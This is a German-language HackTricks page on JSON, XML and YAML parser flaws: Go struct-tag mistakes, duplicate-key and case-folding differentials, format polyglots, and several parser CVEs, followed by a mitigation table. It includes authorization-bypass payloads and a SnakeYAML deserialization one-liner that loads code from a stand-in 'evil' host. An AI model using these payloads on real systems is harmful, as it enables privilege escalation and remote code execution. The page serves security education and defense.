JSON, XML & Yaml Hacking & Probleme

Reading time: 6 minutes

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Go JSON Decoder

Die folgenden Probleme wurden im Go JSON erkannt, obwohl sie auch in anderen Sprachen vorhanden sein könnten. Diese Probleme wurden in this blog post veröffentlicht.

Go’s JSON, XML, and YAML parsers have a long trail of inconsistencies and insecure defaults that can be abused to bypass authentication, escalate privileges, or exfiltrate sensitive data.

(Un)Marshaling Unexpected Data

Ziel ist es, structs auszunutzen, die einem Angreifer erlauben, sensible Felder zu lesen/schreiben (z. B. IsAdmin, Password).

  • Beispiel Struct:
go
type User struct {
Username string `json:"username,omitempty"`
Password string `json:"password,omitempty"`
IsAdmin  bool   `json:"-"`
}
  • Common Vulnerabilities
  1. Missing tag (kein Tag = Feld wird standardmäßig weiterhin geparst):
go
type User struct {
Username string
}

Payload:

json
{"Username": "admin"}
  1. Falsche Verwendung von -:
go
type User struct {
IsAdmin bool `json:"-,omitempty"` // ❌ wrong
}

Payload:

json
{"-": true}

✔️ Richtiger Weg, ein Feld davon abzuhalten, (un)marshaled zu werden:

go
type User struct {
IsAdmin bool `json:"-"`
}

Parser-Differenzen

Das Ziel ist, die Autorisierung zu bypassen, indem man ausnutzt, dass verschiedene Parser dieselbe payload unterschiedlich interpretieren, z. B.:

  • CVE-2017-12635: Apache CouchDB bypass via duplicate keys
  • 2022: Zoom 0-click RCE via XML parser inconsistency
  • GitLab 2025 SAML bypass via XML quirks

1. Duplicate Fields: Go's encoding/json nimmt das letzte Feld.

go
json.Unmarshal([]byte(`{"action":"UserAction", "action":"AdminAction"}`), &req)
fmt.Println(req.Action) // AdminAction

Andere Parser (z. B. Java’s Jackson) könnten das erste nehmen.

2. Groß-/Kleinschreibung: Go ist gegenüber Groß- und Kleinschreibung unempfindlich:

go
json.Unmarshal([]byte(`{"AcTiOn":"AdminAction"}`), &req)
// matches `Action` field

Sogar Unicode-Tricks funktionieren:

go
json.Unmarshal([]byte(`{"aKtionſ": "bypass"}`), &req)

3. Cross-Service-Fehlanpassung: Angenommen:

  • Proxy in Go geschrieben
  • AuthZ-Service in Python geschrieben

Angreifer sendet:

json
{
"action": "UserAction",
"AcTiOn": "AdminAction"
}
  • Python erkennt UserAction und erlaubt es
  • Go erkennt AdminAction und führt es aus

Data Format Confusion (Polyglots)

Das Ziel ist, Systeme auszunutzen, die Formate mischen (JSON/XML/YAML) oder bei Parser-Fehlern fail open sind, wie zum Beispiel:

  • CVE-2020-16250: HashiCorp Vault hat JSON mit einem XML-Parser geparst, nachdem STS JSON statt XML zurückgegeben hatte.

Der Angreifer kontrolliert:

  • Den Header Accept: application/json
  • Teilweise Kontrolle über den JSON-Body

Der XML-Parser von Go hat es trotzdem geparst und der injizierten Identität vertraut.

  • Crafted payload:
json
{
"action": "Action_1",
"AcTiOn": "Action_2",
"ignored": "<?xml version=\"1.0\"?><Action>Action_3</Action>"
}

Ergebnis:

  • Go JSON parser: Action_2 (Groß-/Kleinschreibung wird nicht unterschieden; letzter Eintrag gewinnt)
  • YAML parser: Action_1 (Groß-/Kleinschreibung beachten)
  • XML parser: parst "Action_3" innerhalb des Strings

Bedeutende Parser-Schwachstellen (2023–2025)

Die folgenden öffentlich ausnutzbaren Probleme zeigen, dass unsicheres Parsen ein mehrsprachiges Problem ist — nicht nur ein Go-Problem.

SnakeYAML Deserialization RCE (CVE-2022-1471)

  • Betroffen: org.yaml:snakeyaml < 2.0 (verwendet von Spring-Boot, Jenkins, etc.).
  • Ursache: new Constructor() deserialisiert beliebige Java-Klassen, wodurch gadget chains möglich werden, die in Remote-Code-Ausführung münden.
  • One-liner PoC (öffnet den Taschenrechner auf dem verwundbaren Host):
yaml
!!javax.script.ScriptEngineManager [ !!java.net.URLClassLoader [[ !!java.net.URL ["http://evil/"] ] ] ]
  • Fix / Abhilfe:
  1. Upgrade to ≥2.0 (uses SafeLoader by default).
  2. On older versions, explicitly use new Yaml(new SafeConstructor()).

libyaml Double-Free (CVE-2024-35325)

  • Betroffen: libyaml ≤0.2.5 (C library, die von vielen language bindings verwendet wird).
  • Problem: Das doppelte Aufrufen von yaml_event_delete() führt zu einem double-free, das Angreifer in DoS oder in bestimmten Szenarien in Heap-Exploitation verwandeln können.
  • Status: Upstream hat es als „API-Misuse“ abgelehnt, aber Linux-Distributionen lieferten die gepatchte 0.2.6, die den Pointer defensiv auf NULL setzt.

RapidJSON Integer (Under|Over)-flow (CVE-2024-38517 / CVE-2024-39684)

  • Betroffen: Tencent RapidJSON before commit 8269bc2 (<1.1.0-patch-22).
  • Fehler: In GenericReader::ParseNumber() erlaubt ungeprüfte Arithmetik Angreifern, riesige numerische Literale zu erzeugen, die umschlagen und den Heap korruptieren — letztlich ermöglicht das Privilegieneskalation, wenn der resultierende Objektgraph für Autorisierungsentscheidungen verwendet wird.

🔐 Gegenmaßnahmen (aktualisiert)

RisikoFix / Empfehlung
Unbekannte Felder (JSON)decoder.DisallowUnknownFields()
Doppelte Felder (JSON)❌ Keine Behebung in stdlib — validieren mit jsoncheck
Fallunabhängiger Abgleich (Go)❌ Keine Lösung — struct tags validieren + Eingabe vorab kanonisieren
XML garbage data / XXEVerwende einen gehärteten Parser (encoding/xml + DisallowDTD)
Unbekannte YAML-Schlüsselyaml.KnownFields(true)
Unsichere YAML-DeserialisierungVerwende SafeConstructor / auf SnakeYAML ≥2.0 aktualisieren
libyaml ≤0.2.5 double-freeAuf 0.2.6 oder eine von der Distribution gepatchte Version aktualisieren
RapidJSON <patched commitMit der aktuellen RapidJSON (≥July 2024) kompilieren

Siehe auch

Mass Assignment Cwe 915

Quellen

  • Baeldung – “Resolving CVE-2022-1471 With SnakeYAML 2.0”
  • Ubuntu Security Tracker – CVE-2024-35325 (libyaml)

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks